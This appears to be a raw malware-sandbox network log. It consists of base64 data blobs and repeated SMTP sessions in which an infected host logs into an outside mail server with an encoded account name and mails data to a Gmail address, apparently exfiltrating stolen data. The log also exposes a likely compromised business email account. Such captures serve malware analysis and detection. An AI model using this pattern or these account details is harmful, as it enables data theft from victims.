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
May 27, 2024 12:45:57.930025101 CEST	49735	587	192.168.2.7	185.5.126.24	.
May 27, 2024 12:45:58.959889889 CEST	587	49736	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:45:58 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:45:58.960062981 CEST	49736	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:45:59.153700113 CEST	587	49736	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:45:59.153923988 CEST	49736	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:45:59.352838993 CEST	587	49736	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:45:59.554546118 CEST	587	49736	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:45:59.554704905 CEST	49736	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:45:59.746992111 CEST	587	49736	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:45:59.747159958 CEST	49736	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:46:00.008555889 CEST	587	49736	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:46:00.008734941 CEST	49736	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:46:00.201330900 CEST	587	49736	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:46:00.218023062 CEST	49736	587	192.168.2.7	185.5.126.24	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 v3btnGcqOOD0zTVkgd5Al7bMk
May 27, 2024 12:46:00.695323944 CEST	587	49736	185.5.126.24	192.168.2.7	250 OK id=1sBXrc-00005f-2e
May 27, 2024 12:46:03.738029957 CEST	49736	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:46:04.131865978 CEST	587	49736	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:46:04.872781038 CEST	587	49737	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:46:04 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:46:04.873055935 CEST	49737	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:46:05.066159964 CEST	587	49737	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:46:05.066395044 CEST	49737	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:46:05.259547949 CEST	587	49737	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:46:05.461270094 CEST	587	49737	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:46:05.461451054 CEST	49737	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:46:06.675909042 CEST	587	49738	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:46:06 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:46:06.676237106 CEST	49738	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:46:06.870357990 CEST	587	49738	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:46:06.870693922 CEST	49738	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:46:07.068561077 CEST	587	49738	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:46:07.272597075 CEST	587	49738	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:46:07.272825003 CEST	49738	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:46:07.463413000 CEST	587	49738	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:46:07.463586092 CEST	49738	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:46:07.832777977 CEST	587	49738	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:46:07.832981110 CEST	49738	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:46:08.024632931 CEST	587	49738	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:46:08.525351048 CEST	587	49738	185.5.126.24	192.168.2.7	250 OK id=1sBXrk-00006q-25
May 27, 2024 12:46:17.839838028 CEST	49738	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:46:18.233737946 CEST	587	49738	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:46:18.988501072 CEST	587	49739	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:46:18 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:46:18.988837957 CEST	49739	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:46:19.181250095 CEST	587	49739	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:46:19.181921959 CEST	49739	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:46:19.374664068 CEST	587	49739	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:46:19.576845884 CEST	587	49739	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:46:19.577011108 CEST	49739	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:46:19.769391060 CEST	587	49739	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:46:19.769565105 CEST	49739	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
